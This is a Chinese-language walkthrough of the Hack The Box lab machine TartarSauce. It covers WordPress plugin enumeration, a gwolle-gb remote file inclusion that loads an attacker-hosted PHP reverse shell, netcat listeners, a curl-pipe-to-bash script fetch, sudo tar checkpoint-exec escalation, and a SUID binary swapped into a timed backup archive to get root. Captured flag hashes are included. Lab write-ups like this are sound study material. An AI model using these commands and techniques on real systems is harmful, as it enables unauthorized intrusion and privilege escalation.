TartarSauce是Hack The Box的一个靶机,其利用手法比较新颖,要求熟悉tar的使用原理。当时做的时候,头懵懵的,特此记录下来,方便朋友们一起进步。
nmap扫描端口,发现仅有80端口,可访问到robots.txt。
由robots.txt可获得monstra-3.0.4管理员登录界面为http://10.129.1.185/webservices/monstra-3.0.4/admin/index.php
以admin/admin可以登录,但试了好几种monstra3.0.4漏洞利用方法都不成功,总提示“File was not uploaded”
gobuster搜索http://10.129.1.185/webservices,发现了wp目录
使用了wordpress,可用wpscan进行扫描。
注:执行如下扫描,提示没有任何插件
wpscan --urlhttp://10.129.1.185/webservices/wp -eap
ap 指所有插件
只有采用如下命令才能检测出插件
wpscan --urlhttp://10.129.1.185/webservices/wp -e u,ap --plugins-detection aggressive
--plugins-detection aggressive 使用较强的插件检测模式,以便在扫描期间能够检测到更多的插件漏洞
查看该插件的readme.txt
http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
在该文件的Changelog部分发现了有趣的内容,由于wpscan会根据插件readme.txt的版本信息来检测是否存在漏洞,所以此处网站管理员为了避免被检测出漏洞,手动修改了插件的版本号,真正的版本号是1.5.3。
searchsploit gwolle
显示存在远程文件包含,从利用脚本知道访问如下URL
http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.17/test
Kali Linux监听80端口,可看到如下信息
等于在我们访问的test后面加上了wp-load.php字符。
知道了原理,我们修改php-reverse-shell.php,更改主机和端口,把名字改为wp-load.php
开启web服务器+nc监听1234端口
python -m http.server 80
nc -lvnp 1234
访问如下URL(修改/etc/hosts,建立IP地址和tartarsauce.htb的关系)就可获得反向连接
当前用户为www-data,连接到Kali Linux,运行LinEnum脚本进行提权
curl 10.10.14.17/LinEnum.sh | bash
找到可疑之处,onuma不用密码就能sudo执行tar
到gtfobins上找tar的sudo做法
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
由于是onuma才不需要密码,需要改成sudo -u onuma
/bin/bash显示效果比/bin/sh要好,最后利用语句为
sudo-u onumatar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
1、提交用户标志
7ec356c89f4e33bfab61ec66f82ccd8d
在用户onuma下,仍旧运行LinEnum进行提权
发现了一个可疑的systemtimer
执行locate backuperer,查找timer所在位置
我们将/usr/sbin/backuperer的内容拷贝下来,了解程序的含义
#!/bin/bash
#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incaseanother skiddie defaces us again.
# We will be able to quickly restore from a backupin seconds ;P
#-------------------------------------------------------------------------------------
# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100/dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check
# formatting
printbdr()
{
for n in$(seq 72);
do/usr/bin/printf $"-";
done
}
bdr=$(printbdr)
# Added a test file to let us see when the lastbackup was run
/usr/bin/printf $"$bdr\nAuto backupbackuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg
# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check
# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile$basedir &
# Added delay to wait for backup to complete iflarge files get added.
/bin/sleep 30
# Test the backup integrity
integrity_chk()
{
/usr/bin/diff -r $basedir $check$basedir
}
/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
# Reporterrors so the dev can investigate the issue.
/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran: $(/bin/date)\n$bdr\n$tmpfile\n">> $errormsg
integrity_chk >> $errormsg
exit 2
else
# Cleanup and save archive to the bkpdir.
/bin/mv$tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm-rf $check .*
exit 0
fi
—onuma用户执行sudo,将/var/www/html目录备份到/var/tmp下,并为其分配一个随机的SHA文件名
—为了完成备份,脚本将休眠30秒
—创建一个新的临时目录/var/tmp/check,并将tar提取到此文件夹中
—对/var/tmp/check和/var/www/html下的文件运行完整性检查。如果发现两者不一致,则输出错误信息到/var/backups/onuma_backup_error.txt;如果两者相同,则将/var/tmp下的备份文件移到/var/backups/onuma-www-dev.bak中,并删除/var/tmp/check目录。
我们的攻击计划是:创建一个带有SUID的tar文件,用它来替换在30秒睡眠时间之前产生的原始tar文件。后续如果提取了tar文件,将权限升级为root用户。
在本机上建立var/www/html目录
mkdir -p var/www/html
创建setuid.c文件
在本地进行编译到var/www/html目录中
gcc setuid.c -m32 -static-o var/www/html/suid
注:由于目标机为32位系统,我们需要使用-m32选项。编译前需要在本地安装gcc-multilib和g++-multilib。为了防止在目标机上运行程序时出现链接libc库版本不对,使用-static将其编译为静态链接的程序。
sudo apt-get install gcc-multilib g++-multilib
为suid设置SUID位,然后用tar将其归档到var/www/html/目录。
chmod u+s var/www/html/suid
tar zcvf suid.tar.gz var/
借助nc将suid.tar.gz上传到目标机
nc -lvnp 9001 < suid.tar.gz
nc 10.10.14.24 9001 > setuid.tar.gz
执行下述命令,每隔1秒显示当前执行的timer,当剩余5秒钟就可以开始操作了
watch -n 1 'systemctl list-timers'
将随机文件.415824fc54ec68fd05177c453d4bbdebcf02a672替换为上传的setuid.tar.gz
cp setuid.tar.gz .415824fc54ec68fd05177c453d4bbdebcf02a672
等待30秒睡眠后,将看到/var/tmp/下出现了check目录,此时可执/var/tmp/check/var/www/html/下的suid进行提权
2、提交root标志
4db485af1a778cdfabcb38941ee2eaf5